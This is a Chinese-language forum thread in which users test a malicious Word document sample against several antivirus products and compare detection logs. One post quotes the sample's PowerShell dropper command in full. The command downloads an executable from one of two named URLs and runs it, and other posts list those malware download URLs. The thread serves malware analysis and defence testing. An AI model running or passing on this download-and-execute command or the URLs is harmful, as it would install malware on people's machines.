Malware_5 (VT:12/60)

YU2711

KIS
04.10.2018 22.49.47;PDM:Exploit.Win32.Generic;Windows Command Processor;c:\users\use\documents\egdownloads\malware_5\0be40f42a96bbdcc9abb6bcf99246d16ca7c21e0d1b3bf25b5ec2f3bcc3fb60b.doc;10/04/2018 22:49:47

www-tekeze

静影沉璧 发表于 2018-10-4 22:32
我这里好像有反应

bug10里试了下，没出错，会调用powershell，但没联网，其它动作也没看到。

YU2711

Trend Micro Scan Miss

1. 名稱:        WINWORD.EXE
   
2. 來源:        Microsoft Corporation
   
3. 版本:        16.0.10730.20102
   
4. 版權所有:       
   
5. 偵測到的資源或程序 ID:        C:\Windows\System32\cmd.exe
   
6. 處理行動:        已終止

复制代码

BE_HC

www-tekeze 发表于 2018-10-4 22:53
bug10里试了下，没出错，会调用powershell，但没联网，其它动作也没看到。

康PowerShell里面的命令可以知道
分别从一下这两个网址下载

好像用了文件后缀欺骗？

1. http://dustdevilsbaseball.com/good.ifelt
   
2. http://ultimatetvl.com/good.ifelt

复制代码

www-tekeze

www-tekeze 发表于 2018-10-4 22:53
bug10里试了下，没出错，会调用powershell，但没联网，其它动作也没看到。

释放了个批处理，里面有两个下载地址，试了下文件类型无法打开，也没下载那个qqqqqqqqqqq.exe 。

powershell "function demangling([string] $check){(new-object system.net.webclient).downloadfile($check,'Z:\TEMP\\qqqqqqqqqqq.exe');start-process 'Z:\TEMP\\qqqqqqqqqqq.exe';}try{demangling('http://dustdevilsbaseball.com/good.ifelt')}catch{demangling('http://ultimatetvl.com/good.ifelt')}

www-tekeze

BE_HC 发表于 2018-10-4 23:06
康PowerShell里面的命令可以知道
分别从一下这两个网址下载

我也回复了，反正不明觉厉。。

YU2711

BE_HC 发表于 2018-10-4 22:50
看着EAM有像HIPS的东西惹，SONAR随缘拦截

对付勒索感觉A.B杀比较好点

www-tekeze

BE_HC 发表于 2018-10-4 23:06
康PowerShell里面的命令可以知道
分别从一下这两个网址下载

那个good.ifelt我之前也下载了，所以我15楼说“文件类型无法打开”，但火绒做过通杀，智量也报毒。

BE_HC

www-tekeze 发表于 2018-10-4 23:08
我也回复了，反正不明觉厉。。

说实话我也觉得很迷，那个good和qxN感觉都没撒用

www-tekeze

www-tekeze 发表于 2018-10-4 23:15
那个good.ifelt我之前也下载了，所以我15楼说“文件类型无法打开”，但火绒做过通杀，智量也报毒。

改exe可以双击运行，火绒拦截。